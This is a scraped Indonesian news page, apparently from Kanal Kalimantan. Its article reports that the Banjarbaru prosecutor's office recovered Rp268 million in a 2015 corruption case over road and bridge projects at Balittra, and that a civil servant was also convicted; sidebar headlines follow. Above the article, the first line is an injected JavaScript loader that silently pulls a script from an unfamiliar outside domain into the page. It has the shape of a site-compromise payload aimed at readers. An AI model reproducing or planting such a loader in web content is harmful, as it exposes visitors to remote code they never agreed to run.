(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Kejari Banjarbaru Kembalikan Rp268 Juta ke Negara, MN Seorang PNS Balittra Turut Dipidana!


KANALKALIMANTAN.COM, BANJARBARU – Tim Jaksa Eksekutor pada Seksi Tindak Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru kembali melakukan penyelamatan keuangan negara atas kasus tindak pindana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Kepala Kejari Banjarbaru Andri Irawan, mengatakan pada kali ini pihaknya mengembalikan uang negara sebesar Rp 268.636.705. Uang ini berasal dari pembayaran denda para terpidana dan pembayaran uang pengganti.

“Kita mengembalikan uang negara melalui Penerimaan Negara Bukan Pajak (PNBP) sebesar Rp268.636.705 yang berasal dari pembayaran uang denda sebesar Rp50.000.000, dan pembayaran uang pengganti sebesar Rp 218.636.705 dari terpidana SF,” katanya, Senin (6/7/2020) pagi.

Sebagaimana diketahui, kronologi tindak korupsi ini terjadi pada 2015, saat Balittra Banjarbaru melaksanakan sejumlah proyek pekerjaan. Seperti pembuatan jalan usaha tani baru, pengerasan jalan, pengaspalan jalan utama kebun, serta pembangunan 11 unit jembatan. Seluruh proyek ini, memiliki total nilai kontrak sebesar Rp 1,2 miliar atau lebih rincinya Rp 1.208.460.000.

Berdasarkan fakta-fakta yang terungkap di persidangan, SF dan DA sebagai kontraktor pelaksana dalam proyek-proyek tersebut, terbukti melakukan korupsi. Kasus ini sendiri mengakibatkan kerugian keuangan negara sebesar Rp298.636.703.

Kepala Kejari Banjarbaru mengatakan selain dua kontraktor pelaksana yang ditetapkan sebagai terpidana, kasus ini juga rupanya turut melibatkan seorang PNS -pegawai negeri sipil- di Ballitra Banjarbaru. “Benar, PNS di Balittra Banjarbaru juga turut telibat dalam perkara korupsi ini. Yang bersangkutan berinisal MN,” tuturnya.

Sebelumnya, pada Kamis (2/7/2020) kemarin, Kejari Banjarbaru juga telah melakukan pemulihan uang negar dengan nominal mencapai Rp 80 juta. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.